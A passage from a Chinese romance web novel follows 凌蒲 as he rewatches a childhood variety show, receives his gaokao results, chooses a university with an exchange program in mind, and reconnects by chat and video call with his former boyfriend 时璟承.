“第一条怎么了,我也没有和别人谈恋爱啊。” 【时璟承:哦。】 【时璟承:睡吧。不发了。】 凌蒲沉默地看着屏幕:“时璟承,你耍我。” 直接开了静音模式,把手机丢到一旁。 眼看烤鸡烤鸭和烤鹅的幻影重新向他飞来,要接上之前那个梦,忽然,时璟承的身影挡在了前面。 梦里的形象五官依然帅得无可挑剔,就是头发烫了下,非常美式的感觉,正像国外电视剧里那样,放荡不羁地搂着一个金发碧眼的美女,朝凌蒲打个响指。 然后来了俩管家摸样的服务生,把烤鸡烤鸭和烤鹅都给撤了,时璟承翘起腿,晃着红酒杯:“不给他吃。” 凌蒲惊醒。 陷入长长久久的沉默和未知的熟悉感。 隐隐约约想起一点小时候的记忆,Zev版霸总。可恶,长大了之后还是有这种莫名压迫感。 讨厌的时璟承。 他摸起手机,把刚才没有刷完的朋友圈继续刷,每个都认真浏览并点赞,关系亲近的就评论调侃两句。 里面程益添的很详细,几乎把他们每天到哪儿,干了什么事,明天要去哪,都放在九宫格里展示,里面还有些凌蒲自己都不知道什么时候入境的,看起来总是很呆。 尤其是一张还闭着眼,不知什么动作做到一半,十分莫名其妙。他怀疑程益添没有见过人拍照。 截下来给程益添留言。 “喂,程益添。你给我拍照片的时候可以告诉我一下吗?这拍的都不像人了。” 第二天一早,凌蒲刚被闹钟叫醒,就看到站在他床边的程益添。 “!” 凌蒲被吓了一跳:“站这干什么,偷看我睡觉?” “有病啊。”程益添皱眉。 凌蒲用被子盖住脸:“你别是gay。” “你才是gay。”程益添回敬,睡饱觉的他精神抖擞,站在凌蒲床边开说。 “我收到你昨晚的留言了,完全是对我摄影技术的污蔑。我小时候就参加过摄影班,你知不知道那种自然抓拍,捕捉朦胧感的瞬间,好多人评论夸你帅呢,还想要你的联系方式。当然有一部分是你天生丽质的缘故,但也有相当一大部分是摄影师的功劳” 最后,程益添承诺:“不过我可以考虑你的建议,下次我会专门放几张你的人像照,展示我无懈可击的摄影技巧。” “不用了,谢谢。” 凌蒲在被子里委婉拒绝。 但显然并没有浇灭程益添的决心,接下来他就和头上长摄像头似的对着凌蒲左拍右拍,吃个冰淇淋要拍,坐椅子上要拍,被人问路也要抓一抓构图。 凌蒲早已无语,佛系地随他乱玩。 “模特真重要。”晚上,程益添一边翻着相册一边感叹道,“你在镜头下竟然如此淡定自若,很适合上电视去拍综艺。” 他整理出一套凌蒲写真,专门发了朋友圈,看着点赞嗖嗖涨,默认归为对自己的艺术赞赏,特高兴。 凌蒲随口道:“那是,不到三岁就上过了。” “你尽吹牛。”程益添当然不信。 凌蒲发现最近程益添有点叛逆,于是非常详尽地告诉他小时候这段奇妙经历。 程益添听得一愣一愣:“和顾乾还有邵晚熠上节目?怎么可能?” 不过出于对凌蒲的信任,程益添仔细搜索了一下,发现还真有关于这档节目的零星信息。 很奇怪,正片内容一概不见,蛛丝马迹只是帖文里曾经提过的嘉宾名。 “我妈那里还有影像。” 凌蒲看着程益添惊呆的神情,淡淡说道,深藏功与名。 不想程益添和钱芷也混得熟,键盘敲敲打打一阵,就开始安静不作声。 凌蒲凑过去一看,发现手机上赫然是小时候那档综艺的截图。 程益添已经笑得不行:“你小时候这么圆,像个手办。” 凌蒲冷静地盖住他的屏幕。 “给我个全集资源呗姐姐,求你了。”程益添讨好钱芷,“人美心善。” “又升辈分。”凌蒲皱眉。 “谁让你妈妈那么年轻,真看不出年龄来。” 偏偏钱芷就吃这一套,被哄了一番之后真的背叛了凌蒲,给程益添传来资源。 程益添边接收边说:“我就好奇你和时璟承的恩怨纠葛怎么来的,一开始你就说他是杀手,原来小时候还有这么一段真实影像,让我来给你们评评理。” 他跳起来,拿出直接用电视投影上,从头播放。 凌蒲开始奋力拒绝,但忽然发现里面有很多淡忘在记忆里的细节,他长大之后都没有完整地看完一遍。 而且幼崽版时璟承特别可爱,酷酷的还很嘴硬,他便也克服羞耻看了起来,还摸了袋爆米花。 旁观视角真是不同,孤孤单单的时璟承嘴硬心软,总是在等着和凌蒲玩,而凌蒲却常常不小心忽略他,和别的小朋友不亦乐乎。 看着看着,程益添都忍不住点评:“这个粽粽真有点渣了,Zev简直像一只忠心的小狗。” “喂。”凌蒲发声。 程益添朝他一笑:“长大之后反过来了。一码归一码。” 整个综艺长得很,快看到凌晨了还没放完一整期。 约定好明天再看,程益添很快关了电视睡觉,凌蒲却被那时不少记忆包裹。真是很恍惚,他和时璟承差距那样大,小时候却能够在一起玩。 长大之后回到各自轨迹,却又阴差阳错地进入更亲密的关系。 忽然戛然而止,他变得只能从电视和八卦新闻里推测时璟承的动向,仿佛一切没有发生过。 上周的重逢恢复了一点联系,但似乎像两条不经意相交的线条,还会渐行渐远。 凌蒲摸了摸锁骨前的玉坠。自从高中时璟承让他重新戴上,这块玉就一直和他的体温一个温度。 细细的红绳经过脖颈,白天藏得严实,领口太低的衣服一律不穿,只有睡觉的时候穿睡衣才会露出来。 总记得时璟承那句“丢了算他的”,赌气想着戴丢了就不要了,竟然一直没丢,看来事情发展从来都不被人的心意所左右。 就像时璟承把他忘之脑后,在国外和美女帅哥吃香喝辣。 讨厌的时璟承。 一颗圆圆的水珠落下,在枕头上濡湿不起眼的小点儿。 第125章 “欸,蒲,咱俩继续细化下行程,你把手机地图开一开。” 酒店里,程益添在桌上摊开那张世界地图,左边架着ipad看宣传片,右边架着手机浏览车票,忙得不可开交。 当时出发太紧急,还得继续边玩边补充接下来的行程,他吆喝着让凌蒲打开路线地图作为辅助。 凌蒲悠哉下床,拇指一按解锁手机,像往常那样直接递过去。 忽然看到屏幕有消息提示,手收了下,把屏幕侧了侧,谨慎点进去。 “凌蒲你有秘密了?”程益添接手机的手悬在空中,震惊。 “没。”凌蒲笑笑,瞥了眼广告消息,重新把手机给程益添。 程益添度调侃着,点开地图,软件里还保留着前一次的浏览状态。 实况卫星地图,页面被放到最大。 愣了下:“你还研究实况地图呢?是不是特清晰,能看到街道和人等下,你看国外的街道干什么?” 凌蒲抽回:“随便看看。” 他庆幸程益添只爱发朋友圈但是不爱刷,不然就会发现这条街道的定位似曾相识,和时璟承那张图片的定位一模一样。 “好用吧?和你说现在科技发展贼快。”程益添大喇喇没在意,在搜索框里输入他的目的地,“咱俩一起,看看你想吃的饭店能不能串成一条线——等等,开个电视。” 程益添搁下一桌子东西,在电视里导入资源。 每晚他都有在认真观看幼崽时期的好兄弟。当然,这个当年大爆的节目质量也很高,嘉宾男帅女靓,小孩都可爱,环节设置也不错。 而且程益添看久了,和大多数观众一样,竟然对那个孤僻又傲娇的小Zev产生了别样的情愫,仿佛母爱泛滥。 凌蒲跟着几乎快看到结尾。 也不怪程益添,Zev颜值高,架着副小墨镜像Q版手办似的, 随着时间发展,小孩子之间越来越熟,就显得Zev越来越不合群,常有他一个人站在人群外面的小身影。 虽然看起来他的衣着气质最贵气,别的大人对他也展现出关爱的模样,但总是格格不入,充满破碎感。 经常不动声色地朝粽粽身边凑,再若无其事地站定,掩盖自己的心思。 软软的粽粽投入玩耍,后退着就莫名撞在Zev身上。Zev就淡定地看着粽粽,一言不发。 而屏幕里的粽粽却只皱起眉头:“干什么呀小天哥哥,你可以让一下吗?” Zev的神情不明显地黯淡一下。即使经过掩饰,但到底是个小孩子,从屏幕外一眼就能看得清清楚楚。 “太无情了这个粽粽。”程益添和弹幕里那些Zev妈粉一样,语气心疼,“Zev明显是想找他一起玩啊,get不到就算了,竟然还叫他让一下,Zev的心在滴血。” “粽粽也才不到三岁,你会不会有点严苛。”凌蒲在旁边吃爆米花。 “Zev好不容易才全身心信任一个人,就这样不被在意。” 墨镜遮住冷酷小朋友大半张脸,和婴儿肥的弧度衔接,迷你地倔强抱臂,盯着粽粽离开的背影,脑袋上仿佛拢了片乌云。 程益添不忍心再看:“真给我看共情了。Zev付出的是他的全部,粽粽给他的只是普通一份,应该把粽粽只和Zev关在一起玩。” 凌蒲:“” 他惊得爆米花都掉在地上:“不是吧,以前怎么没看出来你这么感性呢?” “你的心真硬。Zev本来不打算接纳所有人,是粽粽先去搭讪的,经过那么久终于放下了戒心,结果粽粽竟然对所有人都这样,在友情里的这种行为和感情里那种撩完就跑的渣男有什么区别。粽粽有义务持之以恒,陪在他身边。” “那我得一直陪着时璟承?”凌蒲若有所思。 “谁说时璟承了?”程益添换了语气,不屑道,“Zev是Zev,时璟承是时璟承,想到Zev长大之后竟然是那个一点都不可爱的时璟承,真是痛心疾首。” “我觉得还好。” 凌蒲说。 时璟承就是他想象中Zev长大的样子,还要更帅一些。 只是他的确对小时候的记忆忘了大概,如今用旁观者视角重温一遍,大概能理解一点时璟承为什么恨他这么多年。 程益添的观点有道理。 他在不到三岁的时候率先欺骗了幼小的时璟承,就该作为朋友一直陪伴在他身边。 分享喜悦和悲伤,而不是针尖对麦芒,听到对方要报复自己就先发制人,甩来甩去的。他实在是把以前的事情忘了,没想到对时璟承的伤害会这样大。 “真就没什么印象,如果时间能倒流,我会反思一下。”凌蒲仰靠着床的靠背,头发散下一些,露出清晰的眉目。 “别啊,凌蒲是凌蒲,粽粽是粽粽。都已经过去了,而且你看时璟承现在那样儿,拽得二五八万,哪里有被伤害的样子。” 程益添宽慰,拉着凌蒲吃外卖看球赛,睡到自然醒,又出去乱逛。 * 在外面无忧无虑地玩了阵,距离出成绩的日子越来越近,如同块缓缓逼近的大石头,总有到达的一天。 程益添提前一天完成了沐浴焚香,关注着铺天盖地的消息。 一会儿网传别的地系统bug,能提前进去,一会儿看起来很逼真的分数线表格疯传,一会儿又说状元已经被打过电话,人人都变成了惊弓之鸟。 “你想去哪儿上大学啊凌蒲,要去外地不。” 程益添扯着凌蒲说话,这些天他们都刻意避开成绩相关话题,到今天才聊一下。 “我不知道。”凌蒲随遇而安,真没太仔细思考过这问题,只想着尽量考高一点。 “以前高中你转学走的时候,我俩还说要报一个地方大学来着。现在想想,要是报个不同地方的,到时候还可以互相串门。” “确实,现在到哪儿都方便。” “我去!竟然又有人说网页能进去,这哪个省的?”程益添注意力被转移到手机上,又开始狂刷。 对比一惊一乍的程益添,凌蒲看上去显得挺淡定。 他整个高考完成过程和平常反复刷套题时差不多,甚至最后一问的结果还和标答一样,过程可能有些瑕疵。 脑海里闪过黑板上停留在“3”的高考倒计时,由于学校用做考场,学生提前回家自习,并没有想大家想象的那样仪式感十足地倒数着变成“0”,但不知是谁为了氛围感手动操作了下。 回家那天背了厚厚的练习册和套题,把书包撑得变形,手上还抱了一堆,最上面是时璟承留给他的那本笔记,怕混在书堆里弄丢了,他已经不知翻了多少遍。 就想着时璟承那句为了和他一样优秀。至少得有个名校头衔,站在一起才不会太突兀。 凌蒲不觉得任何一次考试能决定或者审判什么,但现实就是这样,几个数字,浸透没人知道的时间和隐秘的想法。 想得多了,手心也微微出了层薄汗。 “明早九点以后才会出成绩,小道消息都是假的。”他试图让程益添冷静。 忽然,手机响了响。 凌蒲点开,看到时璟承给他发了条消息。 【时璟承:/图片】 还是美食。不明目的的美食。 三明治里的熏肉和火腿看起来特别好吃,蔬菜沙拉是翠绿的,流心蛋是鹅黄色,让人垂涎欲滴。 凌蒲想了想,给他发了个大拇指。 【时璟承:就这?】 【lp:看起来很好吃】 【时璟承:确实】 凌蒲看着时璟承一如既往的风格,仿佛能看到对方波澜不惊的表情,隔着屏幕,他猜不透时璟承想干什么。 不过他紧张的心情倒是缓解了很多,有种泰山崩于前岿然不动的淡定传递过来。 【lp:你在干什么?】 【时璟承:吃饭】 【lp:哦。】 短小的对话,两人各开启一次话题,没有人再主动。 凌蒲犹豫一下,回想起昨天晚上程益添的理论,把从电视里拍下的时璟承小时候照片发过去。 拍下来的时候觉得挺好玩,表情酷酷,卡了个墨镜,似乎在生气。 【lp:/图片】 【时璟承:?】 【lp:你小时候好搞笑】 【时璟承:/图片】 【时璟承:你也是】 凌蒲看到对方发过来的图,里面是他小时候,不过并不是时璟承之前做头像那张。 因为表情丰富,脸蛋圆润,所以看上去比Zev要滑稽很多,头发被汗水濡湿,在脑门前堆成小卷儿,乌黑的眼睛瞪圆,红润的嘴唇撅着,可以当成表情包的程度。 凌蒲败下阵,皱起眉头打字【lp:你把这张照片放手机里干什么啊】 【时璟承:忘删了】 【时璟承:可能之前找头像的时候不小心混的图】 【时璟承;等会删。】 凌蒲愣了愣,输入框里还是他没有发出去的字【留着暗鲨吗?】 看到时璟承这样的反应,他敛了敛笑容,连按删除键,换了个【哦】发出去。 手机丢到一边。 本以为晚上会失眠,没想到却出乎意料地睡得很好,梦都没做几个。 第二天找了家网吧正式登录系统,开始等待。 周围也有几个高中生摸样的人,等时间临近,嬉笑声便停了,只剩下刷新页面的鼠标声。 凌蒲也跟着漫不经心地点了点,等真刷出数字来的时候,大脑都没反应过来,比眼睛慢了一拍。 手上多点了次刷新键,系统退出之后就卡了,开始转圈。 但总分数字已经留在了凌蒲的脑海里。比估分还高了十几分,想来数学最后一题没怎么扣过程分,语文作文比想象里的高。 分数页面重新加载出来,又把每科都看了看,和想象中差不多。 如释重负,心情依旧挺淡,但程益添看到他成绩之后却惊叫起来,引得周围一圈人都来围观,夸凌蒲牛逼。 “你怎么样?”凌蒲问程益添。 “马马虎虎,虽然没你这么逆天,不过也到目标了。还得感谢你最后一学期将拉着我做题。” 程益添跑到旁边去打电话,周围一圈高中生还在叹为观止。 等嘈杂声音逐渐散去,凌蒲手机一刻不停的响声暴露出来。消息一条一条弹到最上面,还没来得及看清,电话铃声就抢占了主场。 凌蒲接起来,听到钱芷和凌逸飞喜笑颜开的声音,还有七大姑八大姨的,以及些老师同学。 挂了之后,凌蒲终于能把成绩拍下来,发给时璟承。 时璟承的心情似乎和他一样淡定,就回了两字“不错”。 凌蒲看着这两字,像是忽然打开了情绪的阀门,后知后觉地高兴起来。 这个成绩真的有点厉害。 第126章 “走走走,吃饭庆祝下,然后回家报志愿。” 高考出分是一件社会性大事,也蕴藏无限商机,网页上复读广告轰轰烈烈,线下也在各个高中学校路边摆了棚子,看到疑似高中生或者家属就围过来硬塞传单。 这个学校的人都绕着走,一无所知的凌蒲和程益添路过便如踏进陷阱,还没反应过来,面前便已水泄不通。 有让他们扫码领奖品的,还有复读宣传拉着讲不停的,还有各种没怎么听说过名字的大学和计划。耳边叽叽喳喳。 “同学高考多少分?现在报名复读有优惠。” “出国项目了解一下吧。免雅思直接用高考成绩,很方便的。” “你们是这个高中的吗?很多同学都报名了,可别落后。” “” 程益添早上精心给自己搭了身潮牌,故作老练道:“早不上学了。” “辍学啊。”一个老师搭话,“也能报名我们复读机构的,不少和你差不多大的都在准备重新高考,一年不行来两年,第二年还半价。书还是得念哦,文化很重要,以前走了弯路没事,我们帮你一起回到正轨上。” 程益添彻底无话,推着凌蒲默默朝前走。一道短短的路途走完,两人手里早已接了厚厚两沓传单。 简直是精准用户。 程益添拍拍被拉拽得有些变形的衣服下摆,纳闷:“咱俩又没穿校服,怎么看出来是高中生的。要不是为了低调,我肯定夺过他们的大喇叭呐喊你的分数。” 他不甘心自己个性化的搭配沦为无效,于是瞥了瞥凌蒲:“肯定是你长得太乖了,说不准把我认成你的家长。” “文化很重要。”凌蒲提醒他。 “切,要不是怕你害羞,我就把你的分数大声喊出来了,至少会少一半的人。” 凌蒲整理着手里那堆乱七八糟的纸,忽然目光在其中一份上逗留。 是留学中介的项目介绍,他看到里面有个案例学校,所在位置似乎有点像上次时璟承发的定位。 “怎么了?”程益添凑过来。 “没事儿,走吧。”凌蒲收起来,推了下程益添的肩膀,“请你吃饭。失足辍学少年。” 在饭店点完餐后,趁着程益添开游戏,凌蒲重新翻开刚刚那本册子。 里面有很详细的校园介绍,虽然不知道到底是不是同一所,他也认真地看了看。最后一页是令人咋舌的申请费和项目包装费,买实习经历费,以及学费。 他合上。 “这一看就是骗人的。”程益添看似在timi,实则把凌蒲的动向尽收眼底,“我有个表姐就去国外读书了,现在好大学都有交换项目的,她当时交换了两学期,研究生又出去念了。” 他随口一提,凌蒲若有所思。 * 灿烂的阳光洒在凌蒲家的餐桌上,花瓶里插着的花朵娇艳盛开,温馨美好。 钱芷和凌逸飞坐在桌前,拿着个报志愿的大厚本,和凌蒲召开家庭会议。 “我们还是那个想法。”凌逸飞清清嗓子,“尊重你的意愿,把你开心放在第一位。小时候我和你妈最后悔的一件事情就是送你去综艺受委屈。你说了不想上,但因为合同签了就逼你去了,身边没个大人总被欺负,结束之后发了几天的高烧。” 提起这桩往事,钱芷红了眼眶,用纸按了按眼睛。 凌蒲没想到他们还记着过去这么多年的事情,连忙道:“那刚开始不也是我想去的,小时候知道什么,就觉得玩得特别开心,没什么其他的。” “你都不知道,你发烧的时候小脸通红,还特别可怜地流眼泪,嘴里也不知道说什么胡话,我们还以为你要挂了,你小姨说要去节目组前面拉横幅,小姨夫那时候还是小姨的男朋友,设计专业,为了表现一下唰唰就设计好了,还有粽子图案呢。” 凌逸飞又把钱芷逗笑。 “扯远了。所以说后来我俩决定什么事一定要尊重你的意愿,开始散养你。” “放养。”凌蒲纠正。 “差不多。这是热门专业和去年这个分数的录取排名,能保能冲的院校都给你整理在这,还有什么需要帮助的我们尽力提供。” 简短的家庭会议结束,凌蒲看着桌面的资料,挺感动。 拿着来到电脑前,不忘戴上不知多久前朋友送他的防蓝光眼镜,煞有介事,一副深耕的摸样。想了想,偷偷在搜索框输入出国项目有关内容,查找。 相关信息很多。每所大学合作的国外院校不同,他检索出时璟承所在国家,再一一于谷歌上搜地点,最后画出了一个类似无数个同心圆交汇的圈圈。 看着被包围在中间的小点儿,凌蒲想时璟承没有说错,考一个不错的分数,会有很多种离时璟承更近一些的选择。 凌蒲找到理由给时璟承发消息。 【lp:老师说填志愿要问问熟人里最厉害的人脉】 【lp:有没有建议。】 过一会儿,时璟承回他,没急着回答问题。 【时璟承:熟人。什么关系的熟人?】 【lp:可能是前男友。算吗?】 那边半天没回复。 凌蒲有点忐忑,想着或许不算,长按了一会儿,已无撤回键这个选项。 再过几分钟,时璟承就和没有看到上面那条似的, 【时璟承:刚刚有事。选了几个适合你的专业,在资料里】 【lp:学校呢?你觉得哪个地区适合我。】 【lp:有同学约我一起报南方,说四季如春】 【时璟承:男同学女同学?】 “时璟承”撤回一条消息。 【lp:女同学】 “lp”撤回一条消息。 【时璟承:北方吧,有你想看的雪。】 【lp:好吧】 凌蒲觉得时璟承挺懂自己,当时他的拒绝理由就是想留在北方看雪。 仰头望了眼绿意盎然,而蝉鸣声依旧的窗外,他思索。 【lp:你那边冬天会下雪吗】 【时璟承:会吧】 似乎是雪很出名的地方,之前铲雪的状况就上了新闻。 【lp:回来的时候可以用保温杯装一杯给我吗?】 【时璟承:太傻。】 凌蒲觉得时璟承如果还和他在一块儿,有百分之百十会装的,现在不太知道,两人到底是个什么关系,可能朋友都不算。 当然他更想能亲眼看到,如果能成为时璟承的朋友,弥补小时候的亏欠就更好了。交换计划申请最早也是第二学期,正好是冬季。 网上说他想去的国家竞争会很激烈,不知道能不能申请上。八字还没有一撇的事情,说不准。 七大姑八大姨都陆陆续续给予了凌蒲指导意见,综合各方考量,凌蒲初步完成志愿填报。 走出房间,看到他爸凌逸飞正在沙发上看新闻,凌蒲抱着饼干过去,拿出手机开始玩游戏。 “吃什么呢?”凌逸飞问。 凌蒲头没抬,把饼干递过去,友好分享。 没想到凌逸飞饼干到手就“啧”一声:“天天玩游戏。” “你还天天看老头讲财经新闻呢。”凌蒲瞥眼电视。 “你该多看看,了解点正事。” 电视里的财经分析头头是道,凌蒲借着背景音玩他的闯关小游戏,直到老头的声音结束。 一阵广告后,传来另一个主持人的话语: “各位好。近日发生大事件,知名演员顾乾卷入继承风波。传闻时岳涛将跳过三个儿女,直接将大部分财产及股份赠予孙子。其长孙为知名演员顾乾,现依然在国内活动,而据路人称曾在异国街头偶遇顾乾的弟弟,其中或有更多隐秘……” 凌蒲抬头。 “无聊。天天挖人家家里的事捕风捉影。我去晾衣服,电视先关了?”凌逸飞拿过遥控器准备关电视。 “等等等” 凌蒲含着饼干,匆匆制止,抢夺遥控器。 这是则关于顾乾的花边新闻,因此电视里闪过的配图大多数都是顾乾的照片,其他家族成员很陌生,不过有个一闪而过的背影,凌蒲觉得是时璟承。 那张应该就是所谓路人在大街上偷拍的,虽然没有正脸,但依然能看出来身材比例优越,年轻的气质出众,比之顾乾是有过之而无不及。 但配上身后颜色肃穆的街景,显得很孤单,如同多年前那个小小的冷酷身影一样。 他把饼干和遥控器一扔,摸着手机回到房间里,小小的被排挤在外的身影,和着程益添的话语在心中回荡,愧疚感和心疼感愈演愈烈。 一时冲动,拨通时璟承的视频电话。 和半年前一样,依然是默认铃声,凌蒲连接好耳机,从黑色的屏幕里看到了自己乱七八糟的头发和身上的睡衣,想要后悔。 却已经接通,只来得及把脖子上戴的红绳塞进衣服里。 “时璟承!”凌蒲清清脆脆的声音欲盖弥彰,“你那边怎么那么暗啊,信号不好吗。” 距离耳朵极近的地方被叩了沉沉的两个字:“时差。” 似乎刚从睡梦中被打扰,混着点含糊不清,让凌蒲想到之前很多个早晨,他们一起从床上醒来,时璟承就这样在他耳边说话。 耳朵变得滚烫。 画面里窸窸窣窣一小阵,“啪”一声,台灯被打开,却只调成最低一挡,没有太亮。 昏暗的灯光下,凌蒲用力地想看清时璟承的脸。 轮廓还是帅得不行,鼻梁高挺,下颌线清晰,似乎也穿的是睡衣,锁骨以下但他很快又将自己的目光拉回来,朋友不该如此。 凌蒲正襟危坐。 时璟承垂眸,毫不避讳地把凌蒲从上看到下,眼神冷静,到屏幕最下端时,又淡定地从下看到上。 借着黑暗的掩映,冠冕堂皇。 “不好意思,我忘记有时差了,下次不会了。” 凌蒲顺手查完时璟承那边的时间之后,变得更抱歉,好容易攒起来的勇气一点一点地泄掉。 “哦。那这次怎么办?”时璟承不紧不慢地问,语气里调侃意味很足。 凌蒲脸凑到摄像头面前:“我都道歉了。” 他怼在摄像头前面,丝毫不注意任何角度,鼻尖抵在画面下,脸颊弧度圆润,眼睛大大的。从时璟承的视角看过去,特别像凌蒲常发的那个表情包“是我干的,又怎样.jpg”。 时璟承轻轻笑了一声。 凌蒲皱眉:“又耍我?” “没耍你。”时璟承看着屏幕,改口道,“我接受你的道歉,有下次也接受。” 凌蒲愣了愣,低头,只露出一个发顶,隔着屏幕也觉得柔软,他小声说:“时璟承,你不要说这种话。” 又忍不住分享:“时璟承,我志愿报好了。” “哦,报的哪里?” “不告诉你,等录取通知书下来再说。你怎么样,要一直待在那里,不会回来或者换地方吗?” 时璟承沉默一下:“嗯。需要一段时间。” “那你每天吃西餐吗?” “” “好不好吃,当时看到照片就想问,牛排酱汁和这边有什么不一样?也是分为黑椒味和番茄味的吗?” “” 不知不觉间已然扯了好久,凌蒲才想起来自己打电话的要义。 “对了时璟承,我看了小时候的节目。我好像确实有点过分,对不起。” “这个不原谅你。”时璟承果断。 “好吧,那我想弥补你一下。” 时璟承微微坐正,漫不经心地拿过旁边的杯子,喝了口水。 才说:“怎么弥补?” “要不我们继续当好朋友吧。” 时璟承等了半天等到这句话,又笑了声,这回笑里带点一贯的嘲讽: “继续?怎么记得之前我们好像不是这个关系。你不说是前男友吗?前男友变好朋友?好像不太好吧。还是说你博爱到这种程度了,为了保持良好人缘,要把前男友都发展成朋友?” 第127章 【lp:我以为不算的】 【lp:我们算在一起过的是吗/手舞足蹈】 手舞足蹈是个聊天表情,既不亲近也不疏远,可以缓解万一得到否定回答的尴尬。 但对方再也没有回复,尴尬没得到缓解。 看来时璟承还记恨着。 凌蒲伤感。 * 接下来凌蒲的整个暑假像乱飞的小鸟,拜访四方好友,行踪飘忽不定。 约他见面出游的人特别多,就差排个日程表。 不过即使赶行程再忙碌,他都没忘了在耳朵上塞个耳机,有空背背英语单词或者听听英语听力,万一能用到。 和时璟承一直有断断续续地聊几句,但两人时间和空间上的距离巨大,又有千般万般没说清楚,常常鸡同鸭讲,脑回路对不上。 时璟承问过几次凌蒲在哪,凌蒲忙着和朋友乱窜,好久才后知后觉地想时璟承会不会在找他,比如见面约个饭或者有仇报仇,有怨报怨啥的。 又觉得从国外来回一趟实在麻烦,尤其新闻里能够推出时璟承进展很顺利,他是哪个小角色,便打消了这个念头。 本以为渐行渐远渐无书会是结局,但录取过程却阴差阳错地顺利,高中生凌蒲进了他最想选的那个大学。 进去之后,凌蒲一打听,又发现那个出国项目和网上搜到的并无二致,在大一就可以申请,还有热心学长学姐介绍经验。 像是云中漂浮的小岛被飞鸟搭了桥,忽然真的有了一条可行的路径。 不过竞争着实是激烈,凌蒲几乎天天泡在图书馆里。 一天阳光明媚,正戴着耳机猛学英语听力,在摘下来调音量的空挡,忽然听到旁边有人小声议论。 “刚才来的路上看到两个帅哥,不知道是不是我们学校的。” “我们学校还缺帅哥?那对面不就有一位,戴耳机的那个。世界上又帅又有实力的一堆,学习才是王道。帅哥会背叛你,学习不会。” 凌蒲抬头看了一眼,和其中一位女生对视,女生大大方方朝他笑一下,凌蒲也莫名其妙地回了个微笑,加大音量,继续埋头做题。 还没来得及继续播放,忽然耳机里的消息提示音不绝于耳,疯狂轰炸。 是凌蒲在军训时硬被骗着加入的社团在疯狂滴滴,让所有没课的成员立刻集合。 之前因为拉不到赞助而被迫取消的音乐剧活动又有戏了,一个姓杜的富二代来这里玩,很感兴趣,希望能有人赶紧去介绍下。 他们这个社团规模挺大,社团主席雄心壮志,想独立承办个校园音乐剧活动。申请和场地搞了半天,好不容易快批了,结果一算经费都傻眼。 外联部的同学风里来雨里去拉赞助,短期内搞不到这么多,主席又提议社团内部成员AA。 这大家都不是傻子,到时候主席是风光了,青史留名简历丰富,一将功成万骨枯,下面炮灰谁理睬。 主席团以下的干部层鸦雀无声,创业未半而中道崩殂,凌蒲这些新生没发言权,就听指挥跑来跑去跑来跑去,最后吃个瓜,说活动没了。 如今不懂怎么又死灰复燃。 【@所有人尤其是今年新参加的大一同学,我这有你们的课表哦~大家都是社团必不可少的一员,不来的话可能要和负责老师反映/玫瑰】 凌蒲沉默一下,只得合上书,出发前往图书馆隔壁——社团的活动室。 和社团副主席大眼瞪小眼,半天也没其他人来。 “人呢?”凌蒲问。 “噢噢,没课的基本还在睡。凌蒲,你先介绍一下。”副主席说,“我去把主席叫过来。” 这位副主席人都快毕业了,媳妇熬成婆,挂个名字准备毕业前薅个大型项目让简历好看点,对活动具体内容一概不知。 他叮嘱凌蒲务必完成任务,匆匆离开。 凌蒲看着他的背影,莫名被委以重任。 前面一直东看西看的那位着实有富二代之相,英俊多金的派头十足,看到凌蒲之后伸出手:“你好。杜翊谦。” 凌蒲看着对方习惯性伸出的手愣了愣,还没熟悉这种很具有成熟人士的打招呼方式,别扭地握了下。 握完才后知后觉地想着手上好像沾了方才学习的笔墨,又下意识地擦擦:“你好。” 杜翊谦就笑起来,挺有风度和礼貌的笑:“第一次看到有人握了手之后当面擦的。” “手上沾了点墨。”凌蒲尴尬了下,解释,“不是因为别的。” 杜翊谦依然保持调调:“开个玩笑,你这么实诚。一会儿我还有个朋友来,我们对你们那个课本剧很感兴趣,合适就投一下,到时候把我爸公司的广告加在你们海报上。” “是音乐剧。”凌蒲纠正,“主要想了解什么方面,我给你介绍下。” 杜翊谦答不上来。 见凌蒲呆呆的一个标准大学生摸样,令人挺亲切,便没戒心地告诉他:“其实是我朋友想追个女生,应该就在你们社团里。他一直不好意思说,我们主要就是冲她来的。” 凌蒲点头:“噢噢。” 从旁边箱子里拿了瓶矿泉水,递给杜翊谦。 杜翊谦接过来,“你刚刚没告诉我,你叫什么名字。” “凌蒲。” “好的,凌…啊???” 正喝水的杜翊谦,一口水呛进嗓子里,咳个不停。 方才风度形象也削减不少:“你叫凌蒲??” “嗯,我叫凌蒲。”凌蒲确认名字,再递了张抽纸过去。 杜翊谦不愧是高素养富二代,很快重新恢复淡定,一边擦着领口的水,一边不动声色地打量凌蒲。 第一眼就让他觉得眼前一亮,除了是个帅哥之外,主要是气质特别干净。像是晶莹剔透没有一丝杂质的纯净水,加了点纯粹而没有一丝杂质的阳光,即使一件黑色卡通短袖也穿得特干净。 所以才让他有攀谈的兴趣。 但怎么能叫凌蒲呢——这个好不容易从时璟承嘴里撬出来的名字,他那素未谋面的,让时璟承这种人都只能单相思的美貌嫂子。 时璟承总找借口朝国内跑,十几个小时飞机就为碰运气,有时人都见不到,怎么能令人不好奇。 杜翊谦使劲浑身解数,故事听了不少,但对个人信息一无所知。这次和时璟承回国,听到对方的目的地,在周围搜到这所大学,果然被他用词条搜索到名字。 福尔摩斯·杜。 但现在福尔摩斯有点懵逼:“冒昧问下,你们社团那个迎新大会圆满结束的推文是你做的吗?署名的那个凌蒲就是你的名字?” “是的。” “哦。”杜翊谦不动声色,“挺巧。” 心里已经一片羊驼飘过,同一个学校,同一个入学年份,难道这么小众的名字都会重名。看来这个社团的是这位凌蒲,他煞费心机找错了人,不知道真嫂子在哪。 怎么会这么巧,还是说这位就是嫂子。 虽然杜翊谦依然不愿意相信,但一个成功的侦探就是不放过任何一个可能性。他打听半天才听说有个缺赞助的契机,这盘棋不能就这么扔了。 而且面子也挂不住,这点钱也就洒洒水。 “那要不你给我介绍下,等我那朋友来看看。合适的话就没问题,然后线上联系。” 凌蒲想快点继续回图书馆,秉承着公事公办的原则,带着杜翊谦到前面的会议室里,把之前外联部发群里的PPT又展示了一遍。 困得昏昏欲睡,照常理该是他点咖啡喝的时间。 杜翊谦除了看几下手机发消息,目光基本上都在凌蒲身上,压根没怎么朝屏幕上瞧。 不少社团同学或睡醒或下课之后蜂拥赶过来,那副主席也把主席给叫来了,逐渐齐聚一堂。没见人打断,凌蒲就继续困倦地讲着流程。 “咚咚”—— 忽然两声敲门声,正背着身的凌蒲猜想应该是杜姓富二代说的那位情种来了。 他继续讲他的,却半天没见到那人进来,倒是那位一年只见一次的主席学长朝着门外不卑不亢地点头,几个演出部的女生表情变得有点激动。 